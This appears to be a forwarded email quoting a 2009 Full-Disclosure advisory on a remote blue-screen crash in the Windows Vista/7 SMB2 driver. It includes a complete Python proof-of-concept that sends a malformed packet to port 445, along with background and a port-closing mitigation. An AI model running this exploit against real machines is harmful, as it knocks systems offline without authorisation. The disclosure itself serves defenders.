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http://it.slashdot.org/story/09/09/08/1345247/Windows-7-Reintroduces-Remote-BSoD
Slashdot puts it best:
> "Remember the good old days of the 1990s, when you could teardrop
> attackany Windows user who'd annoyed you and bluescreen them?
Well, they're back.
>
> =============================================
> - Release date: September 7th, 2009
> - Discovered by: Laurent Gaffié
> - Severity: Medium/High
> =============================================
>
> I. VULNERABILITY
> -------------------------
> Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.
>
> II. BACKGROUND
> -------------------------
> Windows vista and newer Windows comes with a new SMB version named
> SMB2.
> See: http://en.wikipedia.org/wiki/Windows_Vista_networking_technologies#Server_Message_Block_2.0
> for more details.
>
> III. DESCRIPTION
> -------------------------
> SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE
> PROTOCOL REQUEST functionnality.
> The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send
> to a SMB server, and it's used
> to identify the SMB dialect that will be used for futher
> communication.
>
> IV. PROOF OF CONCEPT
> -------------------------
>
> Smb-Bsod.py:
>
> #!/usr/bin/python
> # When SMB2.0 recieve a "&" char in the "Process Id High" SMB header
> field it dies with a
> # PAGE_FAULT_IN_NONPAGED_AREA
>
> from socket import socket
> from time import sleep
>
> host = "IP_ADDR", 445
> buff = (
> "\x00\x00\x00\x90" # Begin SMB header: Session message
> "\xff\x53\x4d\x42" # Server Component: SMB
> "\x72\x00\x00\x00" # Negociate Protocol
> "\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
> "\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
> "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
> "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
> "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
> "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
> "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
> "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
> "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
> "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
> "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
> "\x30\x30\x32\x00"
> )
> s = socket()
> s.connect(host)
> s.send(buff)
> s.close()
>
> V. BUSINESS IMPACT
> -------------------------
> An attacker can remotly crash without no user interaction, any Vista/
> Windows 7 machine with SMB enable.
> Windows Xp, 2k, are NOT affected as they dont have this driver.
>
> VI. SYSTEMS AFFECTED
> -------------------------
> Windows Vista/7 All (64b/32b|SP1/SP2 fully updated) and possibly Win
> Server 2008
> as it use the same SMB2.0 driver (not tested).
>
> VII. SOLUTION
> -------------------------
> Vendor contacted, but no patch available for the moment.
> Close SMB feature and ports, until a patch is provided.
>
> VIII. REFERENCES
> -------------------------
> http://microsoft.com
>
> IX. CREDITS
> -------------------------
> This vulnerability has been discovered by Laurent Gaffié
> Laurent.gaffie{remove-this}(at)gmail.com
> http://g-laurent.blogspot.com/
>
> X. LEGAL NOTICES
> -------------------------
> The information contained within this advisory is supplied "as-is"
> with no warranties or guarantees of fitness of use or otherwise.
> I accept no responsibility for any damage caused by the use or
> misuse of this information.
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
I have no idea how we could stop malicious SMB packets on a Windows
LAN. You're cooked. Goodnight and good luck.
Thank You,
Sean Collins
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